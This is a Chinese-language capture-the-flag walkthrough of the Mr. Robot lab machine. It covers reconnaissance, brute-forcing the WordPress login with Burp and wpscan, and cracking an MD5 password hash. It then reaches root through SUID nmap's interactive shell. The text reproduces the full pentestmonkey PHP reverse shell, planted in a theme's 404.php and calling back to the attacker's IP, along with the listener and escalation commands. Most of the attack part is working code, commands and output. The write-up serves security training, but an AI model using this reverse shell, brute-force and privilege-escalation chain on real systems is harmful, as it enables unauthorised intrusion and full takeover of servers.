

一、信息收集

1. 主机发现，如下，kali的ip为172.16.66.134，则172.16.66.133就是靶机的ip了

```
sudo arp-scan -l
```

```
$ sudo arp-scan -l
[sudo] kali 的密码 :
Interface: eth0, type: EN10MB, MAC: 00:0c:29:2e:8e:e8, IPv4: 172.16.66.134
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.66.1      16:7d:da:b1:3c:65      (Unknown: locally administered)
172.16.66.2      00:50:56:fa:e0:14      (Unknown)
172.16.66.133    00:0c:29:33:98:81      (Unknown)
172.16.66.254    00:50:56:ea:df:6e      (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.833 seconds (139.66 hosts/sec)
). 4 responded

(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 172.16.66.134  netmask 255.255.255.0  broadcast 172.16.66.255
    inet6 fe80::5af8:28ad:5bef:6dfd  prefixlen 64  scopeid 0x20<link>
    ether 00:0c:29:2e:8e:e8  txqueuelen 1000  (Ethernet)
    RX packets 21  bytes 2830 (2.7 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 545  bytes 35176 (34.3 KiB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

2. 端口扫描，如下，开放了22、80、443端口，web服务使用的是Apache httpd

```
nmap -Pn -p- -sV -sC 172.16.66.133
```

```

└─$ nmap -Pn -p- -sV -sC 172.16.66.133
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-05 02:08 EST
Nmap scan report for 172.16.66.133
Host is up (0.00060s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    closed ssh
80/tcp    open  http   Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp   open  ssl/http Apache httpd
|_http-server-header: Apache
|_ssl-cert: Subject: commonName=www.example.com
|_Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.50 seconds

```

3. 访问一下80端口，是一个web命令行，测试了一下没有什么用

```

02:43 -!- friend_ [friend_@208.185.115.6] has joined #fsociety.

02:43 <mr. robot> Hello friend. If you've come, you've come for a reason. You may not be able to explain it
yet, but there's a part of you that's exhausted with this world... a world that decides where you work, who
you see, and how you empty and fill your depressing bank account. Even the Internet connection you're using
to read this is costing you, slowly chipping away at your existence. There are things you want to say. Soon
I will give you a voice. Today your education begins.

Commands:
prepare
fsociety
inform
question
wakeup
join

root@fsociety:~#

```

4. 使用dirsearch进行目录扫描，发现存在robots.txt和一些wp-开头的路径，猜测应该是wordpress。访问robots.txt，发现有一个dic文件和一个key-1-of-3.txt文件

```
dirsearch -u "http://172.16.66.133" -e *
```

```
User-agent: *  
fsociety.dic  
key-1-of-3.txt
```

5. 访问key-1-of-3.txt文件得到一个key

```
073403c8a58a1f80d943455fb30724b9
```

6. 目录扫描发现的路径中有/wp-login，访问发现是wordpress的后台登陆地址。尝试登陆发现用户名错误会有提示，这里可以尝试对用户名进行爆破



ERROR: Invalid username. [Lost your password?](#)

Username

Password

☐ Remember Me

Log In

[Lost your password?](#)

[← Back to user's Blog!](#)

7. 打开刚刚在robots.txt文件中得到的dic文件，发现是一个字典文件

```
1 true
2 false
3 wikia
4 from
5 the
6 now
7 Wikia
8 extensions
9 scss
10 window
11 http
12 var
13 page
14 Robot|
15 Elliot
16 styles
17 and
18 document
19 mrrobot
20 com
21 ago
22 function
23 ens1
```

8. 使用burpsuite和这个字典文件对后台用户名进行爆破，获得用户名Elliot

3. Intruder attack of http://172.16.66.133 - Temporary attack - Not saved to project file

Attack Save Columns

Results Positions Payloads Resource pool Settings

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
1667	x3eWikia	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
1668	x3cbr	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
1669	assigned	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
1670	enableWikitextSyntaxHighli...	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
1671	superiors		<input type="checkbox"/>	<input type="checkbox"/>		
1672	resents		<input type="checkbox"/>	<input type="checkbox"/>		
1673	SpecialCustomEditPage		<input type="checkbox"/>	<input type="checkbox"/>		
1674	Desktop		<input type="checkbox"/>	<input type="checkbox"/>		
15	Elliot	200	<input type="checkbox"/>	<input type="checkbox"/>	4196	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
1	true	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
2	false	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	
3	wikia	200	<input type="checkbox"/>	<input type="checkbox"/>	4145	

Request Response

Pretty Raw Hex Render

ERROR: The password you entered for the username Elliot is incorrect. [Lost your password?](#)

Username

Elliot

1669 of 858160

9. 接着爆破密码，使用burpsuite和自己常用的字典没有爆出来，由于是wordpress的网站，因此可以换wpscan指定用户名进行爆破，字典就用上面发现的那个，成功爆破出密码

```
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
```

二、getshell

1. 使用elliot/ER28-0652登陆后台，在Appearance/Editor中修改404.php文件，将内容改为php反弹shell的内容，注意修改ip和端口

<?php

```
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full
// responsibility
// for any actions performed using this tool.  The author accepts no
// liability
// for damage caused by this tool.  If these terms are not acceptable to
// you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full
// responsibility
// for any actions performed using this tool.  If these terms are not
// acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----
// This script will make an outbound TCP connection to a hardcoded IP and
// port.
// The recipient will be given a shell running as the current user (apache
// normally).
//
// Limitations
// -----
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will
```

```

fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl,
posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.66.134'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0); // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise. This is quite common and not

```



```

fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read
    1 => array("pipe", "w"), // stdout is a pipe that the child will write
    2 => array("pipe", "w") // stderr is a pipe that the child will write
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us
// they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

```

```

// Check for end of TCP connection
if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a,
null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);

```

```

fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

```

2. kali上开启监听，然后访问404.php文件，该文件的url为 `http://172.16.66.133/wp-content/themes/twentyfifteen/404.php`，随后发现成功获取到了webshell

```

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.16.66.134] from (UNKNOWN) [172.16.66.133] 46216
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 09:03:47 up 3:06, 0 users, load average: 0.00, 0.05, 0.37
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$

```

三、权限提升

1. 查找有suid权限的文件，发现存在nmap

```

find / -perm -4000 2>/dev/null

```

```
$ find -perm -4000 2>/dev/null
./bin/ping
./bin/umount
./bin/mount
./bin/ping6
./bin/su
./usr/bin/passwd
./usr/bin/newgrp
./usr/bin/chsh
./usr/bin/chfn
./usr/bin/gpasswd
./usr/bin/sudo
./usr/local/bin/nmap
./usr/lib/openssh/ssh-keysign
./usr/lib/eject/dmccrypt-get-device
./usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
./usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
./usr/lib/pt chown
```

2. 获取交互式shell

```
python -c 'import pty;pty.spawn("/bin/sh")'
```

3. 发现权限受限，无法执行nmap。cd到home目录下，发现有一个robot目录，也就是说有一个robot用户，在这个用户目录下发现一个key文件和一个password文件，解密得到robot用户的密码

```
cd home
$ ls
ls
robot
$ cd robot
cd robot
$ ls
ls
key-2-of-3.txt password.raw-md5
$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
$
```

输入让你无语的MD5

md5

abcdefghijklmnopqrstuvwxyz

4. 切换到robot用户

```

cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
robot@linux:~$

```

5. 现在可以执行nmap命令了，使用nmap的交互模式切换到系统shell，如下，成功获取root权限

```

nmap --interactive
!sh

```

```

robot@linux:~$ nmap -v
nmap -v

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2023-12-05 13:48 UTC
No target machines/networks specified!
QUITTING!
robot@linux:~$ nmap -interactive
nmap -interactive
Failed to open input file nteractive for reading
QUITTING!
robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#

```

- 6.